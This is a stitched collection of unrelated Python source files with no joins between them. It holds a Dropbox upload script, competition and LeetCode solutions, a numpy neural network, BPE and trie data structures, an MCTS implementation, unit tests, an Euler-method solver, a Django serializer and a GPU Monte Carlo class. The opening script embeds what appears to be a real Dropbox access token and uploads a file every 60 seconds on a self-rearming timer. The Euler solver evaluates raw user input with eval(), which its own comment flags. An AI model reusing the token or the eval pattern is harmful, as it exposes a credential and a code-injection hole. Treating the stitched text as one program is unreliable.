        """upload a file to Dropbox using API v2
        """
        dbx = dropbox.Dropbox(self.access_token)

        with open(file_from, 'rb') as f:
            dbx.files_upload(f.read(), file_to)

def main():
    access_token = 'RANt4BUePOAAAAAAAAAACdZEolhDaXGoRiMSD_tAYemEfRRW9uNz9qad2UGf34VS'
    transferData = TransferData(access_token)

    file_from = 'test.txt'
    file_to = '/test_dropbox/test.txt'  # The full path to upload the file to, including the file name

    # API v2
    transferData.upload_file(file_from, file_to)

def wuf ():
    global timer

    if __name__ == '__main__':
        main()

    time.sleep(1)
    timer = threading.Timer(60, wuf)
    timer.start()

timer = threading.Timer(60, wuf)
timer.start()


#!/usr/bin/env python
# vim: set fileencoding=utf-8 :
'''Module docstring
Template version: 1.0
'''

from __future__ import division, print_function
from optparse import OptionParser
import sys
import os
import functools
import logging
#import heapq
#from operator import itemgetter
from collections import defaultdict
#from collections import deque
#from array import array
#from bisect import bisect
#from math import sqrt

# for interactive call: do not add multiple times the handler
if 'LOG' not in locals():
    LOG = None
LOG_LEVEL = logging.INFO
FORMATER_STRING = ('%(asctime)s - %(filename)s:%(lineno)d - '
                   '%(levelname)s - %(message)s')

def configure_log(level=LOG_LEVEL, log_file=None):
    'Configure logger'
    if LOG:
        LOG.setLevel(level)
        return LOG
    log = logging.getLogger('%s log' % os.path.basename(__file__))
    if log_file:
        handler = logging.FileHandler(filename=log_file)
    else:
        handler = logging.StreamHandler(sys.stderr)
    log_formatter = logging.Formatter(FORMATER_STRING)
    handler.setFormatter(log_formatter)
    log.addHandler(handler)
    log.setLevel(level)
    return log

LOG = configure_log()

class memoized(object):
    '''Decorator that caches a function's return value each time it is called.
    If called later with the same arguments, the cached value is returned, and
    not re-evaluated.
    '''
    def __init__(self, func):
        self.func = func
        self.cache = {}
    def __call__(self, *args):
        try:
            return self.cache[args]
        except KeyError:
            value = self.func(*args)
            self.cache[args] = value
            return value
        except TypeError:
            # uncachable -- for instance, passing a list as an argument.
            # Better to not cache than to blow up entirely.
            return self.func(*args)
    def __repr__(self):
        '''Return the function's docstring.'''
        return self.func.__doc__
    def __get__(self, obj, objtype):
        '''Support instance methods.'''
        return functools.partial(self.__call__, obj)

class CommentedFile:
    'Implements comments skip for file'
    def __init__(self, f, commentstring='#'):
        self.f = f
        self.commentstring = commentstring
    def next(self):
        'The next line but skips comments'
        line = self.f.next()
        while line.startswith(self.commentstring):
            line = self.f.next()
        return line
    def __iter__(self):
        return self

def construct_days_strengths(attack_days, attack_location, attack_stength):
    days_strength = defaultdict(list)
    for t in attack_days:
        for day, loc, strength in zip(attack_days[t], attack_location[t],
                                      attack_stength[t]):
            days_strength[day].append((loc, strength))
    return days_strength

EPSILON = .1

def nb_breaches(attack_days, attack_location, attack_stength):
    days_strength = construct_days_strengths(attack_days, attack_location,
                                             attack_stength)
    nb_success = 0
    wall = defaultdict(int)
    for day in sorted(days_strength):
        LOG.debug('before day: %d, wall: %s' % (day, wall))
        # count successes
        for loc, strength in days_strength[day]:
            w, e = loc
            success = False
            first = True
            for x in xrange(w, e):
                if (wall[x + EPSILON] < strength
                or (not first and wall[x - EPSILON] < strength)):
                    success = True
                    LOG.debug('success on day: %d, at pos: %d, with strength: %d'
                              % (day, x, strength))
                    break
                first = False
            if success:
                nb_success += 1
        # increase wall height
        for loc, strength in days_strength[day]:
            w, e = loc
            if wall[w + EPSILON] < strength:
                wall[w + EPSILON] = strength
            for x in xrange(w + 1, e):
                if wall[x + EPSILON] < strength:
                    wall[x + EPSILON] = strength
                if wall[x - EPSILON] < strength:
                    wall[x - EPSILON] = strength
            if wall[e - EPSILON] < strength:
                wall[e - EPSILON] = strength
    LOG.debug('wall at end: %s' % wall)
    return nb_success

def do_job(in_file, out_file=sys.stdout):
    'Do the work'
    LOG.debug('Start working with files: %s and %s'
              % (in_file.name, out_file.name))
    # first line is number of test cases
    T = int(in_file.readline())
    for testcase in xrange(T):
        N = int(in_file.readline())
        attack_days = dict()
        attack_stength = dict()
        attack_location = dict()
        for t in xrange(N):
            di, ni, wi, ei, si, d_di, d_pi, d_si = map(int,
                                                       in_file.readline().split())
            attack_days[t] = [di + d_di * n for n in xrange(ni)]
            attack_stength[t] = [si + d_si * n for n in xrange(ni)]
            attack_location[t] = [(wi + n * d_pi, ei + n * d_pi)
                                  for n in xrange(ni)]
        result = nb_breaches(attack_days, attack_location, attack_stength)
        print_output(out_file, testcase, result)

def print_output(out_file, testcase, result):
    'Formats and print result'
    print('Case #%d:' % (testcase + 1), end=' ', file=out_file)
    print(result, file=out_file)
    #print('%.6g' % result, file=out_file)

def main(argv=None):
    'Program wrapper'
    if argv is None:
        argv = sys.argv[1:]
    usage = '%prog [-v] [-w out_file] [-t] in_file'
    parser = OptionParser(usage=usage)
    parser.add_option('-t', dest='template', action='store_true', default=False,
                      help=('template name for construct'
                            'out file name as in_file.out (default False)'))
    parser.add_option('-w', dest='out_file',
            help=('output file or stdout if FILE is - (default case)'
                  'or TEMPLATE.out (default if template is given)'))
    parser.add_option('-v', '--verbose', dest='verbose',
            action='store_true', default=False,
            help = 'run as verbose mode')
    (options, args) = parser.parse_args(argv)
    if len(args) != 1:
        parser.error('only one input file accepted')
    if options.verbose:
        LOG.setLevel(logging.DEBUG)
#    # unset verbose for easy option check
#    options.verbose = False
#    if not any(options.__dict__.values()):
#        parser.error('Must provide at least one option')
    if args[0] == '-':
        in_file = sys.stdin
    else:
        try:
            in_file = open(args[0], 'r')
        except IOError:
            parser.error('File, %s, does not exist.' % args[0])
    if options.template and not options.out_file:
        options.out_file = ''.join((args[0], '.out'))
    if not options.out_file or options.out_file == '-':
        out_file = sys.stdout
    else:
        try:
            out_file = open(options.out_file, 'w')
        except IOError:
            parser.error('Problem opening file: %s' % options.out_file)
    sys.setrecursionlimit(2**30-1)
    do_job(in_file, out_file)
    return 0

if __name__ == '__main__':
    import doctest
    doctest.testmod()
    sys.exit(main())


import random
import math
from functools import reduce
import collections
import time
import numpy as np
import sys
import GetTrainingData
import pickle

def sigmoid(x):
	return 1/(1 + np.exp(-x))

def sigmoid_derivative(WeightedInput):
	return sigmoid(WeightedInput) * (1 - sigmoid(WeightedInput))

class NeuralNet:
	#NeuralNet(i, o, h) creates a neural net that takes a list of length i as input,
	#outputs a list of length o, and has len(h) hidden layers. The ith hidden layer has h[i] neurons.
	#if weights = None, then random weights will be assigned to each neuron
	#Otherwise, weights should be a list of floating point values with length equal to the number of neurons in the layer,
	#which is numInputs + numOutputs + sum(hiddenLayers[i])
	#the weights are inserted into the neuron layer from the left hand side of the input layer upwards
	def __init__(self, numInputs, numOutputs, hiddenLayers, weights = None, biases = None):
		self.numInputs = numInputs
		self.numOutputs = numOutputs
		#create a list of the number of neurons at each layer
		self.numLayerNeurons = hiddenLayers + [numOutputs]
		#create a list of the number of inputs that each layer takes
		self.numLayerInputs = [numInputs] + hiddenLayers
		self.numLayers = len(self.numLayerInputs) + 1
		if(weights is None):
			assert(biases is None)
			self.biases = [np.random.randn(y) for y in self.numLayerNeurons]
			self.weights = [np.random.randn(y, x) for x, y in zip(self.numLayerInputs, self.numLayerNeurons)]
		else:
			assert(not biases is None)
			assert(len(biases) == len(weights) and len(weights) == len(self.numLayerNeurons))
			for i in range(len(weights)):
				assert(len(weights[i]) == len(biases[i]) and len(weights[i]) == self.numLayerNeurons[i])
			self.weights = weights
			self.biases = biases

	#processes the given inputs and returns a list of numbers of length self.numOutputs
	#inputs should be a list of numbers whose length is equal to self.numInputs
	def activate(self, inputs):
		#assert(len(inputs) == self.numInputs)
		a = np.array(inputs)
		for b, w in zip(self.biases, self.weights):
			a = sigmoid(np.dot(w, a) + b)
		return a

	def getWeights(self):
		return self.weights

	def getBiases(self):
		return self.biases

	def save(self, path):
		np.savez(path, [self.weights, self.biases])

	@staticmethod
	def cost_delta(a, y):
		return a - y

	@staticmethod
	def make2D(x):
		x = x.tolist()
		x = list(map((lambda y: [y]), x))
		return np.array(x)

	#gets the normalized weights of the neural net
	def getLength(self):
		length = 0
		for w in self.weights:
			length += np.linalg.norm(w)
		return length

	def trainWithCutoffRounds(self, training_data, cutOff, cutOffRounds, mini_batch_size, eta, test_data, lmbda = 0.0):
		n_test = len(test_data)
		n = len(training_data)
		epoch = 0
		cutOffRound = 0
		unimprovedEpochs = 0
		minCost = None
		while (cutOffRound < cutOffRounds):
			epoch += 1
			print("epoch %d" % epoch)
			random.shuffle(training_data)
			mini_batches = [training_data[k:k+mini_batch_size] for k
								in range(0, n, mini_batch_size)]
			for mini_batch in mini_batches:
				self.update_mini_batch(mini_batch, eta, lmbda)
			cost = self.cost(test_data)
			correctEvaluations = self.evaluate(test_data)
			print("Epoch %d: %d / %d" % (epoch, correctEvaluations, n_test))
			print("Cost: %f" % cost)
			if(correctEvaluations == n_test): break #classified all correctly, no more training necessary
			if(minCost == None or cost < minCost):
				minCost = cost
				unimprovedEpochs = 0
			else:
				unimprovedEpochs += 1
				if(unimprovedEpochs >= cutOff):
					print("completed round %d\n" % (cutOffRound + 1))
					eta = eta/2
					cutOffRound += 1
					unimprovedEpochs = 0
					minCost = None

	def train(self, training_data, epochs, mini_batch_size, eta, lmbda = 0.0, test_data = None):
		if test_data: n_test = len(test_data)
		n = len(training_data)
		for j in range(epochs):
			print("epoch %d" % j)
			random.shuffle(training_data)
			mini_batches = [training_data[k:k+mini_batch_size] for k
								in range(0, n, mini_batch_size)]
			for mini_batch in mini_batches:
				self.update_mini_batch(mini_batch, eta, lmbda)
			if test_data:
				print("Epoch %d: %d / %d" % (j, self.evaluate(test_data), n_test))
				print("Cost: %f" % self.cost(test_data))

	def update_mini_batch(self, mini_batch, eta, lmbda):
		nabla_b = [np.zeros(b.shape) for b in self.biases]
		nabla_w = [np.zeros(w.shape) for w in self.weights]
		for x, y in mini_batch:
			delta_nabla_b, delta_nabla_w = self.backpropagate(x, y)
			nabla_b = [nb + dnb for nb, dnb in zip(nabla_b, delta_nabla_b)]
			nabla_w = [nw + dnw for nw, dnw in zip(nabla_w, delta_nabla_w)]
		self.weights = [(1-eta*(lmbda))*w-(eta/len(mini_batch))*nw
						for w, nw in zip(self.weights, nabla_w)]
		self.biases = [b-(eta/len(mini_batch))*nb for b, nb in zip(self.biases, nabla_b)]

	def backpropagate(self, x, y):
		weightsGradient = [np.zeros(w.shape) for w in self.weights]
		biasesGradient = [np.zeros(b.shape) for b in self.biases]
		#feedforward stage
		activation = x
		activations = [x]
		WeightedInputs = []
		for b, w in zip(self.biases, self.weights):
			WeightedInput = np.dot(w, activation) + b
			WeightedInputs.append(WeightedInput)
			activation = sigmoid(WeightedInput)
			activations.append(activation)
		delta = self.cost_delta(activations[-1], y)
		weightsGradient[-1] = np.dot(self.make2D(delta), self.make2D(activations[-2]).transpose())
		biasesGradient[-1] = delta
		for l in range(2, self.numLayers):
			WeightedInput = WeightedInputs[-l]
			sp = sigmoid_derivative(WeightedInput)
			delta = np.dot(self.weights[-l + 1].transpose(), delta) * sp
			biasesGradient[-l] = delta
			weightsGradient[-l] = np.dot(self.make2D(delta), self.make2D(activations[-l-1]).transpose())
		return (biasesGradient, weightsGradient)

	def getMove(self, x):
		maxValue = max(x)
		index = x.index(maxValue)
		res = [0 for _ in x]
		res[index] = 1
		return res

	def evaluate(self, test_data):
		correct = 0
		for x, y in test_data:
			res = self.activate(x.tolist()).tolist()
			res = self.getMove(res)
			diff = res - y
			mag = np.linalg.norm(diff)
			if mag < .0001: correct += 1
		return correct

	def cost(self, test_data):
		cost = 0
		for x, y in test_data:
			a = self.activate(x.tolist())
			c = np.sum(np.nan_to_num(-y*np.log(a)-(1-y)*np.log(1-a)))
			cost += c
		return cost / len(test_data)

def getNN(path):
	loadedFile = np.load(path)
	NNInfo = loadedFile[loadedFile.files[0]]
	weights = NNInfo[0]
	biases = NNInfo[1]
	numInputs = len(weights[0][0])
	hiddenLayers = list(map(len, weights[:-1]))
	numOutputs = len(weights[-1])
	NN = NeuralNet(numInputs, numOutputs, hiddenLayers,
							 weights = weights, biases = biases)
	return NN

if __name__ == "__main__":
	# trainingDataPath = sys.argv[1]
	# outputPath = sys.argv[2]

	trainingDataPath = "data/trainingData0.p"
	outputPath = "NNs/AlphaBetaNN.npz"

	NN = NeuralNet(768, 4, [600])
	data = pickle.load(open(trainingDataPath, 'rb'))
	random.shuffle(data)
	testDataSize = len(data) // 5
	trainingData = data[:-testDataSize]
	testingData = data[-testDataSize:]

	NN.trainWithCutoffRounds(trainingData, 5, 6, 1, .02, test_data = testingData, lmbda = .0001)
	NN.save(outputPath)


import sys
from collections import defaultdict
input = sys.stdin.readline

n = int(input())
participants = defaultdict(int)

for _ in range(n):
    name = input().rstrip()
    participants[name] += 1

for _ in range(n-1):
    name = input().rstrip()
    participants[name] -= 1

for key, value in participants.items():
    if value >= 1:
        print(key)


#!/usr/bin/env python
#
# Author: Thamme Gowda [tg (at) isi (dot) edu]
# Created: 2019-10-25

from typing import List, Dict, Union, Optional, TypeVar, Generic, Any
import heapq

class LnNode:  # doubly linked list node data structure; used for learning BPE
    __slots__ = 'val', 'left', 'right', 'freq', 'data'

    def __init__(self, val: int, left: Optional['LnNode'] = None,
                 right: Optional['LnNode'] = None, freq: int = 1, data: Any = None):
        self.val = val
        self.left = left
        self.right = right
        self.freq = freq
        self.data = data

    def __eq__(self, other):
        # caution: these calls are recursive on left and right; cycles would cause infinite loop
        return (other.val == self.val and other.freq == self.freq and
                other.left == self.left and other.right == self.right)

    def __hash__(self):
        return id(self)  # quick and dirty hash; not sure how this mess if we use multiprocessing

    def delete(self, unlink=True):
        """
        deletes this node from the list
        :return:
        """
        x, y = self.left, self.right
        if x:  # right links : x → self → y  => x → y
            x.right = y
        if y:  # left links  : x ← self ← y  => x ← y
            y.left = x
        if unlink:
            self.left = self.right = None

    @property
    def is_unlinked(self):
        return self.right is None and self.left is None

    @classmethod
    def from_seq(cls, string: Union[str, List[int]], freq=1, data=None) -> List['LnNode']:
        """
        makes a doubly linked list from string
        :param string: input string (of integers recommended)
        :param freq: frequency of string in corpus (for scaling
        :return: List of Nodes, doubly linked to lefts and rights
        """
        nodes = [cls(ch, freq=freq, data=data) for ch in string]
        for i, n in enumerate(nodes):
            if i > 0:
                n.left = nodes[i - 1]
            if i + 1 < len(nodes):
                n.right = nodes[i + 1]
        return nodes

    def __repr__(self):
        lefts, rights = [], []

        cur = self.left
        while cur:
            lefts.append(str(cur.val))
            cur = cur.left
        cur = self.right
        while cur:
            rights.append(str(cur.val))
            cur = cur.right
        return ' '.join(reversed(lefts)) + f' *{self.val}* ' + ' '.join(rights)

T = TypeVar('T')  # T for index; Dont use I, since 'I' agree with pep008
D = TypeVar('D')  # D for data

class TrNode(Generic[T, D]):  # Trie Node or Tree Node

    __slots__ =  'idx', 'name', 'data', 'parent', 'kids'

    def __init__(self, idx: T, name: Optional[str] = None, data: Optional[D] = None,
                 parent: Optional['TrNode'] = None, kids: Dict[T, 'TrNode'] = None):
        self.idx = idx
        self.name = name
        self.data = data
        self.parent = parent
        self.kids = dict() if kids is None else kids

    def get_node(self, idxs, create_missing: bool = True) -> 'TrNode[T, D]':
        if not idxs:
            return self
        if create_missing and idxs[0] not in self.kids:  # make one
            self.kids[idxs[0]] = TrNode(idx=idxs[0], parent=self)
        return self.kids[idxs[0]].get_node(idxs=idxs[1:], create_missing=create_missing)

    @property
    def n_kids(self):
        """Number of immediate children"""
        return len(self.kids)

    @property
    def has_data(self):
        return self.data is not None

    @property
    def size(self):
        """Number of nodes in the tree at this node. Counts self and all the kids"""
        return 1 + sum(k.size for k in self.kids.values())

    @property
    def data_node_count(self):
        return (1 if self.has_data else 0) + sum(k.data_node_count for k in self.kids.values())

class MaxHeap:
    "Offers Max Heap which is a wrapper to fast min heap implementation from heapq "

    def __init__(self, items: Dict[Any, int]):
        self.min_heap = [(-val, node) for node, val in items.items()]
        heapq.heapify(self.min_heap)

    def push(self, node, val):
        """
        Adds a node to heap while maintaining heap property
        :param node: node data
        :param val: priority value
        :return:
        """
        heapq.heappush(self.min_heap, (-val, node))

    def pop(self):
        """returns the max item (task, priority)"""
        val, task = heapq.heappop(self.min_heap)
        return task, -val

    def peek(self):
        val, task = self.min_heap[0]
        return task, -val

    def __len__(self):
        return len(self.min_heap)


"""
A minimal implementation of Monte Carlo tree search (MCTS) in Python 3
Luke Harold Miles, July 2019, Public Domain Dedication
See also https://en.wikipedia.org/wiki/Monte_Carlo_tree_search
https://gist.github.com/qpwo/c538c6f73727e254fdc7fab81024f6e1
"""
from abc import ABC, abstractmethod
from collections import defaultdict
import math
import random

class MCTS:
    "Monte Carlo tree searcher. First rollout the tree then choose a move."

    def __init__(self, exploration_weight=20):
        self.Q = defaultdict(int)  # total reward of each node
        self.N = defaultdict(int)  # total visit count for each node
        self.children = dict()  # children of each node
        self.exploration_weight = exploration_weight
        self.tmp = 0

    def choose(self, node):
        "Choose the best successor of node. (Choose a move in the game)"
        if node.is_terminal():
            raise RuntimeError(f"choose called on terminal node {node}")

        if node not in self.children:
            return node.find_random_child()

        def score(n):
            if self.N[n] == 0:
                return float("-inf")  # avoid unseen moves
            return self.Q[n] / self.N[n]  # average reward

        # print('Chooooose : ', self.children[node])

        scores = []
        for i in self.children[node]:
            scores.append(score(i))

        # print('scores :', scores)
        # print(sorted(scores, reverse=True))
        # print(sorted(scores, reverse=True)[1])

        # print('scores :', scores)

        return max(self.children[node], key=score)

    def choose_estimate_with_level(self, node,level):
        "Choose the best successor of node. (Choose a move in the game)"
        if node.is_terminal():
            raise RuntimeError(f"choose called on terminal node {node}")

        if node not in self.children:
            return node.find_random_child()

        def score(n):
            if self.N[n] == 0:
                return float("-inf")  # avoid unseen moves
            return self.Q[n] / self.N[n]  # average reward

        second_best_action = None
        third_best_action = None
        scores = []
        for i in self.children[node]:
            scores.append(score(i))

        sorted_scores = sorted(scores, reverse=True)
        best_action = max(self.children[node], key=score)
        if len(sorted_scores) >= 2:
            second_best_score = sorted_scores[1]
            second_best_score_index = scores.index(second_best_score)
        if len(sorted_scores) >= 3:
            third_best_score = sorted_scores[2]
            third_best_score_index = scores.index(third_best_score)

        tmp_c = 0
        for nodes_to_look in self.children[node]:
            if len(sorted_scores) >= 2:
                if tmp_c == second_best_score_index:
                    second_best_action = nodes_to_look
                if len(sorted_scores) >= 3:
                    if tmp_c == third_best_score_index:
                        third_best_action = nodes_to_look
            tmp_c += 1

        if level == 3:
            # pro
            # get best found action through the simulations
            return best_action

        elif level == 2:
            # mid level
            mid = []
            mid.append(best_action)
            if second_best_action != None:
                mid.append(second_best_action)

            return random.choice(mid)

        elif level == 1:
            # noob level
            noob = []
            if second_best_action != None:
                noob.append(second_best_action)
            if third_best_action != None:
                noob.append(third_best_action)
            if second_best_action == None and third_best_action == None:
                noob.append(best_action)

            return random.choice(noob)

    def do_rollout(self, node):
        "Make the tree one layer better. (Train for one iteration.)"
        self.tmp += 1
        # print('do rollout count : ', self.tmp)

        path = self._select(node)
        #print('do_rollout PATH : ', path)
        leaf = path[-1]
        # print('do_rollout LEAF : ', leaf)
        self._expand(leaf)
        reward = self._simulate(leaf)
        #print('reward : ', reward)
        self._backpropagate(path, reward)
        #print('_backpropagate done')

    def _select(self, node):
        "Find an unexplored descendent of `node`"
        path = []
        # print('in _select')
        while True:
            # print('node : ', node)
            path.append(node)
            if node not in self.children or not self.children[node]:
                # print('########## node is either unexplored or terminal ###########')
                # node is either unexplored or terminal
                return path
            unexplored = self.children[node] - self.children.keys()
            # print('unexplored : ', len(unexplored))
            if unexplored:
                n = unexplored.pop()
                path.append(n)
                return path
            node = self._uct_select(node)  # descend a layer deeper

    def _expand(self, node):
        "Update the `children` dict with the children of `node`"
        if node in self.children:
            return  # already expanded
        self.children[node] = node.find_children()

    def _simulate(self, node):
        "Returns the reward for a random simulation (to completion) of `node`"
        invert_reward = True
        while True:
            #print('SIMULATION node before :', node)
            #print('SIMULATION node.is_terminal() ; ', node.is_terminal())
            if node.is_terminal():
                reward = node.reward()
                # print('SIMULATION reward : ', reward)
                return 1 - reward if invert_reward else reward

            try:
                node = node.find_random_child()
                pass
            except Exception as e:
                print('EERRRROR')
                print(node)

            #print('SIMULATION node after :', node)
            invert_reward = not invert_reward

    def _backpropagate(self, path, reward):
        "Send the reward back up to the ancestors of the leaf"
        for node in reversed(path):
            self.N[node] += 1
            self.Q[node] += reward
            reward = 1 - reward  # 1 for me is 0 for my enemy, and vice versa

    def _uct_select(self, node):
        "Select a child of node, balancing exploration & exploitation"

        # All children of node should already be expanded:
        assert all(n in self.children for n in self.children[node])

        log_N_vertex = math.log(self.N[node])

        def uct(n):
            "Upper confidence bound for trees"
            return self.Q[n] / self.N[n] + self.exploration_weight * math.sqrt(
                log_N_vertex / self.N[n]
            )

        return max(self.children[node], key=uct)

class Node(ABC):
    """
    A representation of a single board state.
    MCTS works by constructing a tree of these Nodes.
    Could be e.g. a chess or checkers board state.
    """

    @abstractmethod
    def find_children(self):
        "All possible successors of this board state"
        return set()

    @abstractmethod
    def find_random_child(self):
        "Random successor of this board state (for more efficient simulation)"
        return None

    @abstractmethod
    def is_terminal(self):
        "Returns True if the node has no children"
        return True

    @abstractmethod
    def reward(self):
        "Assumes `self` is terminal node. 1=win, 0=loss, .5=tie, etc"
        return 0

    @abstractmethod
    def __hash__(self):
        "Nodes must be hashable"
        return 123456789

    @abstractmethod
    def __eq__(node1, node2):
        "Nodes must be comparable"
        return True


from typing import Any, Union, Optional
import unittest
from rutyva import validation

PRINT_EXCEPTION = True

class TestBasic(unittest.TestCase):
  def test_str(self):
    value = 'a string'
    ann = str
    validation.validate_var(value, ann)

  def test_str_att_int(self):
    value = 1
    ann = str

    expected_error_message = '(1) is (int), but should be (str)'
    assertRaisesTypeErrorAndExceptionMessage(self, (value, ann), expected_error_message)

class TestList(unittest.TestCase):
  def test_list_li_str(self):
    value = ['a', 'b', 'c', 'd']
    ann = list[str]
    validation.validate_var(value, ann)

  def test_list_li_str_one_item_int(self):
    value = ['a', 'b', 'c', 1]
    ann = list[str]
    a = tuple[Union[str, int], list[tuple[str, str, float]], Optional[dict[str, Any]]]
    expected_error_message = 'error in position (3): (1) is (int), but should be (str)'
    assertRaisesTypeErrorAndExceptionMessage(self, (value, ann), expected_error_message)

  def test_list_not_list(self):
    value = 'not a list, just a string'
    ann = list

    expected_error_message = '(not a list, just a string) is (str), but should be (list)'
    assertRaisesTypeErrorAndExceptionMessage(self, (value, ann), expected_error_message)

  def test_list_li_Any(self):
    value = ['str', 1, {'a': (1, 2)}, [1, 2, 3], Exception('blabla')]
    ann = list[Any]

    validation.validate_var(value, ann)

class TestTuple(unittest.TestCase):
  def test_tuple(self):
    value = ('str', 1, {'a': (1, 2)}, [1, 2, 3], Exception('blabla'))
    ann = tuple

    validation.validate_var(value, ann)

  def test_tuple_Any(self):
    value = ('str', 1, {'a': (1, 2)}, [1, 2, 3], Exception('blabla'))
    ann = tuple[Any, Any, Any, Any, Any]

    validation.validate_var(value, ann)

def print_exception(string):
  if PRINT_EXCEPTION:
    print(string)

def assertRaisesTypeErrorAndExceptionMessage(self, args, expected_error_message):
    with self.assertRaises(TypeError) as cm:
      validation.validate_var(*args)

    e_message = cm.exception.args[0]

    print_exception(e_message)
    self.assertEqual(e_message, expected_error_message)

a = tuple[Union[str, int], list[tuple[str, str, float]], Optional[dict[str, Any]]]

if __name__=="__main":
  unittest.main()


import numpy as np
import pandas as pd
from math import *
import matplotlib.pyplot as plt

'''
Convert user input string to an executable function.
CAUTION eval() converts user input into executable code.
'''
def get_differential():
    expression = input('Enter the differential equation using Python math syntax in terms of x and y\ndy/dx = ')
    diff = lambda x,y: eval(expression)
    return diff

'''
Run eulers method to approximate the solution.

Parameters:
    equation: differential
    stop: the desired guess
    init_x: initial x
    init_y: initial y
    h: step interval
'''
def euler_method(equation, stop,init_x, init_y, h):
    #list to return with cord_y being the guesses at cord_x
    cord_x = []
    cord_y = []
    y_curr = init_y
    x_curr = init_x
    h_curr = h

    while ( not compare_floats(x_curr, stop + h)):
        try:
            cord_x.append(x_curr)
            cord_y.append(y_curr)
            y_prev = equation(x_curr, y_curr)
            y_curr = y_curr + h * y_prev
            x_curr = init_x + h_curr
        except ZeroDivisionError:
            pass
        finally:
            if(abs(x_curr) > abs(stop + h)):
                raise ValueError('The step is too large.')
            h_curr += h

    return (cord_x,cord_y)

def compare_floats(f1,f2):
    return abs(f1 - f2) <= 0.000001

def main():
    #user input
    equation = get_differential()
    stop = float(input('approximate unil x_n = '))
    init_x = float(input('initial condition x_0 = '))
    init_y = float(input('f(x_0) = '))
    h = float(input('h = '))

    cord_x, cord_y = euler_method(equation, stop,init_x, init_y, h)
    df = pd.DataFrame({'x ' : cord_x, '\u2248y(x) ' : cord_y}) #dataframes are easy to print and graph
    df.index += 1 #for printing
    with pd.option_context('display.max_rows', None, 'display.max_columns', 3):
        print(df)

    '''plot the approximate solution curve'''
    df.plot(x = 'x ', y= '\u2248y(x) ')
    plt.show()

main()


class Solution:
    def findTheDifference(self, s: str, t: str) -> str:
        # 异或法
        ans = ord(t[0])
        for c in s:
            ans ^= ord(c)
        for c in t[1:]:
            ans ^= ord(c)
        return chr(ans)
        '''
        return list((collections.Counter(t) - collections.Counter(s)).keys())[0]
        '''


from rest_framework import serializers
from apps.phones.models import Phone

class PhoneSerializer(serializers.ModelSerializer):

    class Meta:
        model = Phone
        read_only_fields = (
            "id",
            "created_at"
        )
        fields = (
            "id",
            "created_at",
            "name",
            "brand",
            "os",
            "description",
            "color",
            "screen",
            "processor",
            "ram",
            "camera",
            "price",
            "offerPrice",
            "hasOffer",
            "image",
        )

    #This function returns media images
    def get_photo_url(self, obj):
        request = self.context.get('request')
        photo_url = obj.fingerprint.url
        return request.build_absolute_uri(photo_url)


# this function is to set aqmc parameters and run the method
from initializing import make_hopping, init_trotter, expmk, cluster
from fromscratch import from_scratch
from update import time_wrap, update_G
from measure import correlation

import numpy as np
import cupy as cp
import matplotlib.pyplot as plt
import time

class AQMC:
    def __init__(self, **params):
        self.X_dimension = params["X_dimension"]
        self.Y_dimension = params["Y_dimension"]
        self.N_s = self.X_dimension * self.Y_dimension

        self.periodic_X = params["periodic_X"]
        self.periodic_Y = params["periodic_Y"]
        self.tunneling = params["tunneling"]
        self.U = params["U"]
        self.chemical_potential = params["chemical_potential"] # half filling 0
        self.N_markov = params["N_markov"]
        self.N_sw_measure = params["N_sw_measure"]
        self.N_warm_up = self.N_sw_measure // 5
        self.N_from_scratch = params["N_from_scratch"]
        self.N_qr = params["N_qr"]

        # Set generalized trotter
        self.Beta = params["Beta"]
        self.N_time = params["N_time"]
        self.U_eff =  self.U
        self.directory = params["directory"]
        if self.N_s<32:
            self.BLOCKSIZE = self.N_s
        else:
            self.BLOCKSIZE = 32

    def pin_memory(self):
        memory_pool = cp.cuda.MemoryPool()
        cp.cuda.set_allocator(memory_pool.malloc)
        pinned_memory_pool = cp.cuda.PinnedMemoryPool()
        cp.cuda.set_pinned_memory_allocator(pinned_memory_pool.malloc)

    def run(self):
        # making tunneling Hamiltonian matrix
        H_0 = make_hopping(self.X_dimension, self.Y_dimension, self.periodic_X, self.periodic_Y, self.tunneling)
        H_0_msr = H_0.copy()
        H_0 += np.identity(self.X_dimension * self.Y_dimension) * ((-1) * self.chemical_potential)

        I = cp.array(1)
        sign_U_interact, T_hop, H0_array, lamda, probability, gamma1, gamma2 = init_trotter(self.Beta,self.N_time,self.U_eff,H_0)
        Bk, Bk_inv = expmk(H0_array, T_hop)

        sign_U_interact_m = cp.empty((self.N_markov,self.N_time))
        hs_m = cp.empty((self.N_markov,self.N_time,self.N_s))
        cl_up_m = cp.empty((self.N_markov,self.N_time,self.N_s,self.N_s))
        cl_dn_m = cp.empty((self.N_markov,self.N_time,self.N_s,self.N_s))
        G_up_m = cp.empty((self.N_markov,self.N_s,self.N_s))
        G_dn_m = cp.empty((self.N_markov,self.N_s,self.N_s))
        Bk_m = cp.empty((self.N_markov,self.N_time,self.N_s,self.N_s))
        Bk_inv_m = cp.empty((self.N_markov,self.N_time,self.N_s,self.N_s))
        probability_m = cp.empty((self.N_markov,self.N_time))
        gamma1_m = cp.empty((self.N_markov,self.N_time))
        gamma2_m = cp.empty((self.N_markov,self.N_time))

        hs_cached = self.N_markov * 1000

        map_streams = []
        mark_list = []
        for i in range(self.N_markov):
            mark_list.append(i)
            map_streams.append(cp.cuda.stream.Stream())
            sign_U_interact_m[i] = sign_U_interact
            hs_m[i] = lamda[:,None]*((-1)**cp.random.randint(2,size=(self.N_time,self.N_s)))
            cl_up_m[i],cl_dn_m[i] = cluster(hs_m[i],Bk_m[i],sign_U_interact_m[i])
            G_up_m[i] = from_scratch(cl_up_m[i],self.N_qr)
            G_dn_m[i] = from_scratch(cl_dn_m[i],self.N_qr)
            Bk_m[i] = Bk.copy()
            Bk_inv_m[i] = Bk_inv.copy()
            probability_m[i] = probability.copy()
            gamma1_m[i] = gamma1.copy()
            gamma2_m[i] = gamma2.copy()

        check = cp.zeros((self.N_sw_measure+self.N_warm_up,self.N_time,self.N_markov))
        n_up_dn = cp.zeros(self.N_markov)
        interaction_mar = cp.zeros(self.N_markov)
        sign_mar = cp.zeros(self.N_markov)
        N_measure = cp.zeros(self.N_markov)
        G_up_mar = cp.zeros((self.N_markov,self.N_s,self.N_s))
        G_dn_mar = cp.zeros((self.N_markov,self.N_s,self.N_s))
        szsz_mar = cp.zeros((self.N_markov,self.X_dimension))
        sxsx_mar = cp.zeros((self.N_markov,self.X_dimension))
        rho_mar = cp.zeros((self.N_markov,self.X_dimension))
        sign_partition_accu = cp.array([cp.linalg.slogdet(G_up_m[i] @ G_dn_m[i])[0] for i in range(self.N_markov)],dtype=cp.int32)[:,None]
